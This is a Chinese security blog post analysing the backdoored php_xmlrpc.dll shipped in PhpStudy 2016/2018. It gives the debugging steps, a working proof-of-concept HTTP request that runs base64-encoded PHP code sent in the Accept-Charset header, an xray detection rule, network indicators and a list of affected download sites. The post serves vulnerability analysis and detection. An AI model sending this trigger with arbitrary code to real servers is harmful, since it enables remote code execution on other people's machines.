摘要: 除了有反向连接木马之外,还可以正向执行任意php代码。

影响版本

  • Phpstudy 2016

php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dll
  • Phpstudy 2018 的php-5.2.17、php-5.4.45

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
回到顶部

分析过程

  • 1、定位特征字符串位置

  • 2、静态分析传参数据

  • 3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll一致。

定位特征字符串位置

image.png


image.png

第1部分流程判断代码

第2部分流程判断代码

image.png

image.png

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。

图4:OD动态调试Payload

PHP脚本后门分析

image.png

image.png

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload:

GET /index.php HTTP/1.1Host: 192.168.221.128Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0Accept-Language: zh-CN,zh;q=0.9Connection: close

Payload:printf(md5(333));
回显特征:310dcbbf4cce62f762a2aaa148d556bd

图5:Payload回显验证

漏洞验证插件

漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。

name: poc-yaml-phpstudy-backdoor-rcerules:  - method: GET    path: /index.php    headers:      Accept-Encoding: 'gzip,deflate'      Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==    follow_redirects: false    expression: |
      body.bcontains(b'a5952fb670b54572bcec7440a554633e')detail:  author: 17bdw
  Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"  vuln_url: "php_xmlrpc.dll"  links:    - https://www.freebuf.com/column/214946.html

网络特征

Accept-Encoding:gzip,deflate    少一个空格Accept-Charset:为Base64编码

文件特征

[object Object]

受影响站点

http://soft.onlinedown.net/soft/92421.htmhttp://www.opdown.com/soft/16803.html#downloadhttps://www.cr173.com/soft/433065.htmlhttp://www.smzy.com/smzy/down319529.htmlhttps://www.jb51.net/softs/601577.htmlhttp://www.mycodes.net/16/5051.htmhttp://www.3322.cc/soft/40663.htmlhttp://www.3h3.com/soft/131645.htmlhttp://www.downyi.com/downinfo/117446.htmlhttp://www.pc9.com/pc/info-4030.htmlhttps://www.newasp.net/soft/75029.htmlhttp://www.downxia.com/downinfo/153379.htmlhttps://www.33lc.com/soft/21053.htmlhttp://www.xfdown.com/soft/11170.html#xzdzhttp://www.wei2008.com/news/news/201817035.htmlhttp://www.188soft.com/soft/890860.htmlhttp://soft.onlinedown.net/soft/92421.htm http://www.opdown.com/soft/16803.html#download https://www.cr173.com/soft/433065.html

参考

  • PhpStudyGhost后门供应链攻击事件及相关IOC
    https://www.freebuf.com/column/214946.html

  • 2019关于phpstudy软件后门简单分析
    https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw

  • phpstudy后门文件分析以及检测脚本
    https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw

  • Phpstudy官网于2016年被入侵,犯罪分子篡改软件并植入后门
    https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw

  • phpStudy隐藏后门预警
    https://www.cnblogs.com/0daybug/p/11571119.html

转载于:https://www.cnblogs.com/17bdw/p/11580409.html


上一篇:一位练习时长两年半的内网渗透...
下一篇:PHP的弱类型安全隐患及防范